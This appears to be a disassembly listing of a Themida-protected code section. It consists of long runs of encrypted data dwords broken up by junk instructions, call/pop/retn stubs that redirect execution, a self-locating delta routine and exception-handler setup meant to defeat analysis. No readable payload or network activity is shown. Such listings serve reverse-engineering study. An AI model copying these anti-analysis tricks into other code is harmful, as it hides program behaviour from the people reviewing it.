		dd 0ADFCD7C3h, 0E2F7667Eh, 2BFE8B66h, 0D99D89C8h, 0B307E420h
		dd 8AD18BE1h, 9E8DEh, 87280000h, 0FAAEB506h, 0F439360h
		dd 686h, 95B58900h, 5B07E409h, 0A0E9h, 0CE86000h, 0A3000000h
		dd 0E93BDCE2h, 0F9EA2305h, 66F2861Ch, 615AF88Bh, 8858Bh
		dd 31600000h, 0E42B4DB5h, 0A9852907h, 6107E423h, 0F507C083h
		dd 0E900C083h, 0Dh, 275FAF1Eh, 0F41CA7BAh, 2FC4FFA4h, 0FD03BB4h
		dd 0F83h, 998D0100h, 0E907E422h, 49h, 0F4CABF66h, 0FFFF8D8Bh
		dd 890FFFFFh, 6, 0F959D8Bh, 0E18307E4h,	2A840F01h, 0BB000000h
		dd 0CBDEA28h, 0FFFFA583h, 0F9FEFFFFh, 89589h, 0BD330000h
		dd 7E4334Dh, 68C0Fh, 0BD2B0000h, 7E4087Dh, 0E9h, 5BB58D00h
		dd 6A07E87Ah, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0F9BBC357h, 0F98B5763h, 6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0D3BAFBC3h, 0FFDA8BF5h, 0E40E4195h, 56006A07h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 15A49A17h, 0DCB996F6h, 6A00000Fh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 5685C357h
		dd 0E18314C4h, 4FCF81FCh, 0FC49F9DAh, 2B5FF551h, 53006AC0h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 5C51CD80h, 0B5896006h, 7E41385h, 2D958Bh, 0BA6107E4h
		dd 0
; ---------------------------------------------------------------------------
		mov	[ebp+7E41291h],	edx


loc_5D232E:				; CODE XREF: Themida_:005D2338j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5D232E
		jmp	loc_5D2353
; ---------------------------------------------------------------------------
		db 7Bh
		dd 1F84685Ah, 9EF21B4Ah, 58C49AB7h, 0D3088C58h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		fcmovu	st, st(7)


loc_5D2353:				; CODE XREF: Themida_:005D233Aj
		movzx	ebx, ax
		or	eax, 88h
		push	0
		push	ebx
		call	sub_5D2366
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D2366	proc near		; CODE XREF: Themida_:005D235Ep

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5D2366	endp

; ---------------------------------------------------------------------------
		dw 71B9h
; ---------------------------------------------------------------------------
		and	al, 0ABh
		sub	al, 76h
		mov	ebp, ebp
		dec	esp
		movsx	edi, ax
		mov	edx, [ebp+7E41B71h]
		push	0
		push	edi
		call	sub_5D2393
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D2393	proc near		; CODE XREF: Themida_:005D238Bp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_5D2393	endp

; ---------------------------------------------------------------------------
		db 14h
		dd 8A0F3795h, 6, 31E9BD8Bh, 9D8907E4h, 7E40199h, 8BDFBF0Fh
		dd 0E42DA18Dh, 11E907h,	42B00000h, 8CDCED19h, 76B29BECh
		dd 2F64DDC7h, 503AC5D4h, 188BC28Bh, 188BC103h, 0E8D1C18Bh
		dd 188BC203h, 14E858h, 0D70C0000h, 308D88BDh, 6382657Bh
		dd 29E5C9D6h, 0EC6693D5h, 0B9BB5F95h, 5B1E5631h, 0CEE38166h
		dd 11BD837Eh, 7E406h, 5B840Fh, 6A0000h,	3E852h,	5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 655F5C3h
		dd 3DEDE02Bh, 0E9DF5284h, 6, 25170AFBh,	0B80ADDh, 0FC000000h
		dd 4FE78D8Dh, 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0FF71B5C3h, 0B9BD83E1h, 7E422h
		dd 417840Fh, 8B660000h,	0B9BD83DAh, 107E422h, 422840Fh
		dd 95890000h, 7E40D81h,	22B9BD83h, 0F0307E4h, 3D986h, 14E900h
		dd 726C0000h, 0F04F6C2Ah, 0F6398E86h, 7F23C802h, 6A34B7Ch
		dd 0E8607CD9h, 0Fh, 241A043Fh, 5CB8DB5Ah, 3A63863Fh, 0B3FB4DBDh
		dd 8C665B17h, 51006AD9h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 0F0E02B4h, 3D43EB4Ah, 0EE9h, 5873A200h
		dd 0FA8EC9E1h, 2FFBA440h, 8071E3C5h, 0BD3304E1h, 7E41849h
		dd 840FC90Ah, 139h, 0F9853360h,	6107E425h, 651858Bh, 6A07E4h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 50CC87C3h, 1CC41E5Fh, 85338863h, 7E42029h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 4BC35646h, 0C781DA8Bh
		dd 4AF3098Dh, 24048950h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 18h, 37C35040h, 61AB0701h,	6ADF8B66h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 858913DBh, 7E42AADh,	22D1BD8Bh, 0D06807E4h, 66060587h
		dd 810F1FBFh, 842F2434h, 8D01061Ah, 7E42ED9h, 2D9995FFh
		dd 6A07E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 0BA0A64C3h, 8589D72Ch, 7E7F8A5h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 31C35242h, 5E8h
		dd 0D791AF00h, 13E9F2A8h, 63000000h, 1B611CE2h,	3309D6A3h
		dd 8E637AF0h, 4685336Ch, 0E95B21E2h, 1B0h, 7B10B0BBh, 9D858B30h
		dd 6A07E7F8h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 2B1FC355h, 0BD0B004Bh,	7E426B9h
		dd 1800C7h, 10E90000h, 35000000h, 0A915393Fh, 53158BB6h
		dd 0D01BE089h, 8B8372A7h, 0E7F8A1B5h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
		dd 7852BF6Ah, 72FADF2h,	0F171BF39h, 858B2EC1h, 7E40099h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0C4C35040h
		dd 89553F41h, 3D9D8B06h, 8B07E406h, 0E4065185h,	53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 8928EE1Ah, 0E418D195h, 7337BB07h, 468910DAh,	50006A04h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 499F02D7h, 0C745FD53h, 66508962h, 891D7BBBh,	6A2434h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 800F08C3h, 6, 850Fh,	0B5FF0000h, 7E7F89Dh, 918589h
		dd 0B96807E4h, 814C7A03h, 462434h, 6A4C65h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0C32A93C3h
		dd 0F9900823h, 0F8A5858Dh, 8B9007E7h, 899050F9h, 0E405F985h
		dd 9995FF07h, 6A07E42Dh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 5EFC350h, 60E27FE9h
		dd 0BE9h, 4C4C3500h, 0B9D2D8D5h, 4E6AD53h, 50006A61h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
		dd 0E44508DEh, 159D8BC1h, 0C707E42Eh, 0E422B985h, 307h
		dd 31BD8900h, 8307E40Bh, 0E7F8A5BDh, 840F0007h,	36h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 35C35040h, 0C154BD0Bh
		dd 0B33B2DF8h, 0F99D8BAAh, 0E907E417h, 21h, 16A1BD8Bh
		dd 305007E4h, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 0DAE12B8Dh, 5FBBCB65h, 2B603B53h
		dd 0E429F58Dh, 6A6107h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0CE4870C3h, 83B2B363h, 0E422B9BDh
		dd 850F0307h, 46Fh, 7E9h, 79599F00h, 91FAF9B0h,	0F8A5BD83h
		dd 0F0007E7h, 45684h, 5E900h, 2D0E0000h, 81E64641h, 9ECFFAEBh
		dd 0A5B5FF53h, 6A07E7F8h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 0A6BFC353h,	819D337Fh
		dd 0FF07E431h, 0E4044D95h, 0A9852907h, 8B07E418h, 0E7F899B5h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0D0883A64h, 0A3D108EAh, 0C7E9B384h, 1000106h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 99DC483Eh, 8BD76E61h, 0E412B5BDh, 0B6605007h
		dd 860F6081h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5D29FC
; ---------------------------------------------------------------------------
		db 43h,	0DAh, 5Fh
		dd 6E2F1E38h
; ---------------------------------------------------------------------------


loc_5D29FC:				; CODE XREF: Themida_:005D29F0j
		popa
		popa
		mov	[esp], esi
		or	[ebp+7E427A5h],	eax
		push	dword ptr [ebp+7E7F8A5h]
		or	di, 0B839h
		or	edi, 3005777Eh
		call	dword ptr [ebp+7E42A09h]
		mov	[ebp+7E41519h],	eax
		mov	esi, [ebp+7E7F899h]
		push	0
		push	edi
		call	sub_5D2A35
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D2A35	proc near		; CODE XREF: Themida_:005D2A2Dp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5D2A35	endp

; ---------------------------------------------------------------------------
		db 7Bh,	0F9h, 0Fh
		dd 681h, 0A19D8B00h, 8B07E401h,	0E4316585h, 0BD8B5007h
		dd 7E40505h, 0C486895Fh, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0C4FBC353h
		dd 9D74A41Bh, 1B71958Bh, 6A07E4h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 9D8BE3C3h, 7E406E9h
		dd 6A04C283h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 977DC357h, 872E79BFh, 0B58962FCh
		dd 7E40A1Dh, 60205089h,	79B96650h, 0DE85B2Ah, 0A9000000h
		dd 191B8763h, 6E2C83F4h, 76BCF434h, 0FE8h, 8BCA600h, 5A1F5463h
		dd 0D8560184h, 197F269Dh, 8D615A5Ah, 0E80CD485h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 1C9FAFDEh, 0F780AC8Ch, 81BD8BB1h, 8907E403h,	0B886h
		dd 0A5BD0300h, 6A07E400h, 0FF89B700h, 0E7F8A5B5h, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 7C53B266h, 0F2F978DFh, 31AD95FFh, 6A07E4h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0C84ADAC3h
		dd 180D43FBh, 0EF804010h, 5E8963Ch, 76000000h, 99283625h
		dd 2CA0BB66h, 6651505Bh, 965BFE8Bh, 2D1BD23h, 0B5FF07E4h
		dd 7E7F8A5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	0BEC35646h, 0E98A8435h,	0DF25C916h, 5E9h, 0B3295B00h
		dd 95FFF2E6h, 7E41B11h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0F4C35343h, 1AEA0A34h, 0BD83FD8Ah, 7E40DF9h
		dd 5A840F00h, 0E9000000h, 0Eh, 9ABE0BE0h, 23972F5h, 20FED821h
		dd 0E850708Ch, 12h, 0DDFC58A8h,	44656D9Bh, 5403DB23h, 42A3677Fh
		dd 0FD8A78DAh, 2434895Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 0F2C35747h, 6DBD89A4h, 8B07E42Dh, 0E40595BDh
		dd 0A5B5FF07h, 5707E7F8h, 9258589h, 0FF5F07E4h,	0E4027D95h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 50A035F2h, 23898589h, 0FF5F07E4h, 0E7F8A5B5h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0B32EADCBh, 0AC66D37Dh, 1FDBD0Bh, 9D8B07E4h
		dd 7E432A9h, 97195FFh, 6A07E4h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 6D289AC3h, 0C09EA5C4h
		dd 0F5256AAh, 8Bh, 0F5F5F00h, 82h, 21BD8300h, 207E40Ah
		dd 51840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 0D9B34AC3h, 0F3EBDAE7h, 8BB7F581h
		dd 0E41EB585h, 859D3307h, 0C607E422h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0C7D3FFC3h, 0E4267185h, 7, 358D0900h, 0E907E40Bh, 0FFFFF2F2h
		dd 1B758529h, 0C18B07E4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 7DC35747h, 16E94Dh, 6050000h,	606Bh
		dd 4 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5D3310
; ---------------------------------------------------------------------------
		db 0B0h, 0D8h, 0B6h
		dd 13330C22h, 738D697Fh, 0D6EAC9DFh, 35512C42h,	2922C8A1h
		dd 889E324Eh, 0E6FC90AEh, 485EF208h, 0CBF536Bh,	0A918DF5Ch
		dd 71B613ABh, 617956E2h, 64805B29h, 0D350B214h,	1442A02Ch
		dd 21D641AAh, 0AD1442A0h, 0FA103244h, 0EA910E1Dh, 681442A0h
		dd 0A06EA6FFh, 0A573ABC3h, 1074ACCCh, 0BCDAB452h, 3AD7E984h
		dd 0D4B14F0Ah, 0B390AABCh, 13F1079Bh, 9FD7EBCAh, 117AB04h
		dd 7D50D23h, 20D70F2Dh,	44221D49h, 0A7849A2Eh, 0D0AA578Fh
		dd 0CD1442A0h, 0D7285410h, 0E05C11h, 6Fh, 61795629h, 0A0817C29h
		dd 0E3A01442h, 1204FBA3h, 1D1E05Ch, 0FA000000h,	0D5D7D56h
		dd 437B916Fh, 477F9975h, 7B4153ACh, 64B4D4ADh, 0A0FE8502h
		dd 0F35C1442h, 6E4D1BE1h, 906C0A5Ah, 0BCE346Fh,	30899E73h
		dd 77F4581Eh, 577750CFh, 6D4BE9C3h, 0F72F4724h,	0D7F1035Ch
		dd 0F492E2FAh, 0C9EBFD19h, 80A87DEFh, 0DA5D79Bh, 528AA681h
		dd 92D0A5B7h, 976D020h,	62B2FDA0h, 42FA1EE5h, 4153BC14h
		dd 20FD4C27h, 6BBA7001h, 6AC3B5EDh, 0EE3E9732h,	0F812EE8Ch
		dd 0C5BA25C0h, 911442A1h, 0BE501628h, 867DFA5Ch, 541442A2h
		dd 0A2FB80EBh, 0EE571442h, 817E6C8Eh, 0FE10D50Eh, 0DEB80BE4h
		dd 0DEBA88C0h, 0DA126BC4h, 0AC93D39Ch, 0BA41BED1h, 181442EAh
		dd 5864FAFh, 7E7E441Dh,	5B37D525h, 5C6E0941h, 2F47243Ah
		dd 0C1A66DDFh, 54B1379h, 835F2DF3h, 86973169h, 51919EDEh
		dd 0A947E05Bh, 87A17DD0h, 4B28F62Eh, 29C8DA33h,	8Ch, 1BF49252h
		dd 0F4CFE9FBh, 700EA0D8h, 7C038097h, 0DA1442A0h, 12E01871h
		dd 0B3C51E34h, 6BA3BD99h, 63DA8A07h, 0AA1C6C88h, 17E95C9Ch
		dd 0BFDBB6D6h, 0E200DA66h, 0DBFD0FAAh, 96CEEAC5h, 9DD5E9C8h
		dd 7B2F203h, 3E768A69h,	79B691A3h, 7EE05C0Fh, 71h, 5F7B56A7h
		dd 327B5927h, 2973556h,	380A44FAh, 0B30CA7DFh, 6F179A7Bh
		dd 9AB08E2Ch, 0AC53D062h, 2A1442DEh, 6D0868C1h,	0BEFA765Eh
		dd 0DFBAD4E6h, 6199B590h, 8D96DC6h, 0CCB33092h,	8A1442A0h
		dd 1CF50F21h, 593AACFCh, 716EC66Eh, 7522E8FAh, 14421F8Bh
		dd 0EE82F0Eh, 915F97F0h, 0AC639BB5h, 0DFE191D5h, 0C53A6222h
		dd 12E05B52h, 1, 607A563Bh, 657D5A28h, 0E79F762Dh, 0EE829C78h
		dd 9EEEC0CFh, 0A691EB21h, 840A913h, 0F5455D3Ah,	18F593h
		dd 3DC22DC8h, 9913A692h, 0E6FC1E30h, 27B9F109h,	1399B0B5h
		dd 8D9FF179h, 0A6FEE994h, 0EC981B13h, 16360FADh, 0F50DEA04h
		dd 236E4B61h, 85D52E46h, 0E1F309E7h, 58704D1Bh,	6D19E220h
		dd 0ADFD15F2h, 0D720683Bh, 8799B7EBh, 31718E65h, 66D877h
		dd 8F000001h, 1C6C424Dh, 2E81A27Eh, 8E982936h, 0A17F91EAh
		dd 0A6D57A24h, 5FAF1813h, 29FB80FDh, 0EE5713A6h, 6B4816DCh
		dd 0CCA9BF53h, 4CEA7CB4h, 8520586Eh, 647C5973h,	6125EE2Ch
		dd 750921FEh, 7788619Eh, 58D537D8h, 13A625A3h, 15B4C62Fh
		dd 41h,	6A444D3Eh, 5F069D1Ah, 0E3556BBDh, 0D8495C8Ah, 79586AA3h
		dd 542BD810h, 5694426Ah, 6A4D78Fh, 0DBFE102Ah, 46A8F8B6h
		dd 0A27FCCA8h, 5EB7528Ah, 80798B26h, 0EBBD951Bh, 6C3ACE37h
		dd 6Fh,	6C424DFBh, 0B9F59F1Ch, 0FE9C13A6h, 35D00822h, 0A3DB4423h
		dd 4CE0F8D5h, 9415936h,	0A6BA5C5Ch, 7E1CE013h, 0B8538B9Fh
		dd 0E25D09A6h, 3A59ED05h, 0A7095955h, 1132D09h,	4FB24808h
		dd 54A91B14h, 96A99F1Bh, 8DF6D5E7h, 0E461C355h,	1B8F701Fh
		dd 19DE5BBBh, 0B51B8F70h, 0C7E1F34Ch, 0E39AD2EAh, 0B3DC580Ch
		dd 722EABFBh, 401C6679h, 4D7243D7h, 425E3942h, 0D53799E9h
		dd 42A0A358h, 0B4C62F14h, 0ABA9FFBBh, 1464CD13h, 457D9D76h
		dd 4A829A77h, 7E4456AFh, 27BBD3B0h, 0BE93411h, 75CEE4C2h
		dd 4737E41Ch, 0D27429A3h, 0D5A3DBF7h, 67A5DDFBh, 88AAE69Eh
		dd 7E45B0Bh, 0E5101CE8h, 0CA231E59h, 24432036h,	250B94CAh
		dd 442D34ECh, 99397D8Eh, 0E1AFE740h, 0C562E702h, 65C7BC39h
		dd 2A937B29h, 0FA0466CAh, 714C449Ah, 6EC7C6E5h,	0FCA87F36h
		dd 0F88CA481h, 0B5ED05E2h, 0F2Fh, 3E17B500h, 64BE1Eh, 20F26ED9h
		dd 3E8D390Eh, 245C7E56h, 29617956h, 2F677D5Bh, 31698761h
		dd 346C8863h, 376F8B66h, 3E768A69h, 427A9470h, 437B9B74h
		dd 0E38953EEh, 4C381h, 0EB830000h, 241C3304h, 33241C31h
		dd 535C241Ch, 0C381E389h, 4, 4EB81h, 1C870000h,	1C895C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	edx
		mov	edx, 7E9095Ah
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	esi
		mov	esi, ebx
		mov	[edi+8], esi
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		dd 0FE86E03Eh
; ---------------------------------------------------------------------------


loc_5D3310:				; CODE XREF: Themida_:005D2DE0j
		mov	eax, 7E90E02h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 89h,	5Bh, 20h
		dd 5D54605Eh, 0D114857h, 1CFDE5Bh, 0BD372457h, 0D17B5E56h
		dd 4D891A7Bh, 0DE21667Eh, 0F82E851Bh, 4B31B2Fh,	45AD076Bh
		dd 143BD533h, 0CC39A129h, 0F87FB68h, 92400A34h,	0CE001744h
		dd 7B3B2525h, 4B55DD4Bh, 39BA0A60h, 0BE2E3937h,	0B76E2A5Fh
		dd 0FC96E131h, 0AD172B7Bh, 413FE53Bh, 0D1AB6327h, 0DFA1231Fh
		dd 0A62AE861h, 0C5778600h, 6C3D3678h, 46504B56h, 85858D74h
		dd 6A07E40Dh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 190AC355h, 4116D1A5h, 8FCE5C99h
		dd 0E950DD8Ah, 5, 46E715F7h, 240489BCh,	0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Bh, 0F3C35141h, 9666EDABh
		dd 6AD5898Eh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 6EDFC278h, 6A006AE5h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0C94C353h
		dd 7BE3477Ah, 9D8B896Eh, 7E4273Dh, 1117858Dh, 6A07E9h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 23265CC3h, 0E40105BDh, 5C08307h, 2518589h, 0F5007E4h
		dd 688h, 0F19D8B00h, 5F07E40Eh,	0C1BDBB90h, 8B502F8Fh
		dd 6A90D8h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 0DABD09C3h, 0E53F11C9h, 0D78166F9h, 6A8F98h
		dd 6AF8B70Fh, 5DBF6600h, 7195FFC3h, 8107E424h, 627821C3h
		dd 4B8D8D70h, 2907E7D6h, 0E42D5185h, 6AD1FF07h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 5E29C356h, 3C7D9205h, 85BD8B7Eh, 8007E400h, 0BD83CADFh
		dd 7E42015h, 97850F01h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0B63C355h
		dd 8929A1F3h, 8D091DEEh, 7E42FD1h, 6A026Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 8C0FCBC3h
		dd 3, 5076CF80h, 3850Fh, 8B660000h, 240489FBh, 95FFDA8Bh
		dd 7E431ADh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	85C35545h, 0FE8CAh, 25FB0000h, 7871A5F9h, 4BC5078Bh
		dd 0D774168Ah, 0B7E95F55h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D35A7:				; DATA XREF: Themida_:005826DCo
		call	$+5
		pop	ebp
		sub	ebp, 7E91121h
		mov	ebx, [ebp+7E40DADh]
		mov	di, si
		push	0
		push	ebp
		call	sub_5D35C7
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D35C7	proc near		; CODE XREF: Themida_:005D35BFp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5D35C7	endp

; ---------------------------------------------------------------------------
		db 6Fh
; ---------------------------------------------------------------------------
		aad	0F9h
		lea	eax, [ebp+7E7C6E1h]
		nop
		jmp	loc_5D35FA
; ---------------------------------------------------------------------------
		dw 0A6EBh
		dd 83BF21D3h, 940A6609h, 456B725Fh, 0D8A2EC65h
; ---------------------------------------------------------------------------
		leave
		daa


loc_5D35FA:				; CODE XREF: Themida_:005D35E1j
		push	eax
		nop
		mov	[ebp+7E42FBDh],	ecx
		jmp	loc_5D3610
; ---------------------------------------------------------------------------
		db 6Eh
		dd 6862340Ch, 0DA06027Ch
; ---------------------------------------------------------------------------


loc_5D3610:				; CODE XREF: Themida_:005D3602j
		push	large dword ptr	fs:0
		push	0
		push	eax
		call	sub_5D3622
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D3622	proc near		; CODE XREF: Themida_:005D361Ap

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5D3622	endp

; ---------------------------------------------------------------------------
		dw 0C949h
		dd 1AC8E326h, 0BD8B9AA0h, 7E41E2Dh, 258964h, 3000000h
		dd 0E41BB59Dh, 0B985FF07h, 3107E420h, 0E423D195h, 0BBFF6A07h
		dd 47C12D63h, 1D49B5FFh, 9D8B07E4h, 7E41E35h, 304D95FFh
		dd 0E3E907E4h, 8B000000h, 0E416699Dh, 0E600B007h, 71E4F570h
		dd 0A8D8D89h, 613C07E4h, 0C8830Fh, 9D8B0000h, 7E42DD5h
		dd 66C8B60Fh, 0D35DF381h, 6BAh,	0C18BF500h, 0F504E8C1h
		dd 66E2F766h, 85BFFA8Bh, 2B4EC85Dh, 0C19D8BC8h,	8B07E41Eh
		dd 358589D1h, 0E907E424h, 13h, 47B232D5h, 93CCB86Bh, 0BC8FF90Fh
		dd 42980DC3h, 0E9AD49F1h, 76h, 33119D03h, 858B07E4h, 1
		dd 0EF8166F5h, 0C0835BA8h, 0BD958907h, 8307E424h, 0BD8B00C0h
		dd 7E41BE5h, 830FD03Bh,	6, 45E9h, 8D8BF800h, 0FFFFFFFFh
		dd 18358509h, 0E18307E4h, 2F840F01h, 0F9000000h, 0FFFFA583h
		dd 50FEFFFFh, 0BE9h, 7C5FBE00h,	0E40604ABh, 0A39AA88h
		dd 195895Bh, 0F000000h,	484h, 6CBB6600h, 0E9D0h, 0B58D0000h
		dd 7E88A37h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	24C35040h, 219D8B4Bh, 6A07E406h, 859D2900h, 0FF07E40Fh
		dd 0E40E4195h, 19D8B07h, 0B907E433h, 0F6Eh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0F2C35242h, 0D0ADED90h
		dd 2C120319h, 0DE9EFh, 38A00000h, 226E32F9h, 339B9BC3h
		dd 839E4E8Ah, 6AFCE1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0C65535C3h, 97241D61h, 84EF80DCh
		dd 53006AFCh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 29AA1887h, 0F1B5898Ch, 2B07E40Eh, 8644BBC0h
		dd 0BA4411h, 0E8000000h, 0Ch, 4CB0E651h, 39CC9EF9h, 0E6B4FFD4h
		dd 33AD5FFCh, 3E8D1C2h,	4E983D0h, 10E9F475h, 0C1000000h
		dd 0DC72675h, 749F17F4h, 85454BAEh, 6A80D6B8h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 241CC350h, 810FFA34h, 14h, 0FE9h, 0D1908600h, 0A75889DBh
		dd 0C4542A8Ah, 610727E2h, 880Dh, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 83B334EBh
		dd 0F164AF9Dh, 9D89E9DBh, 7E42375h, 35659D8Bh, 958B07E4h
		dd 7E41B71h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	0A4C35545h, 83D94750h, 918D2903h, 8B07E406h, 0E42DA18Dh
		dd 0D88B6607h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 0BF0F5818h, 9BD33DEh, 8307E425h, 0E40611BDh,	840F0007h
		dd 79h,	1EC19529h, 0BD8B07E4h, 7E422B5h, 0B8h, 0AE800h
		dd 49670000h, 52F3A68Bh, 578DB984h, 3341B589h, 8D5F07E4h
		dd 0E44FE78Dh, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 532820BAh, 89CDA452h
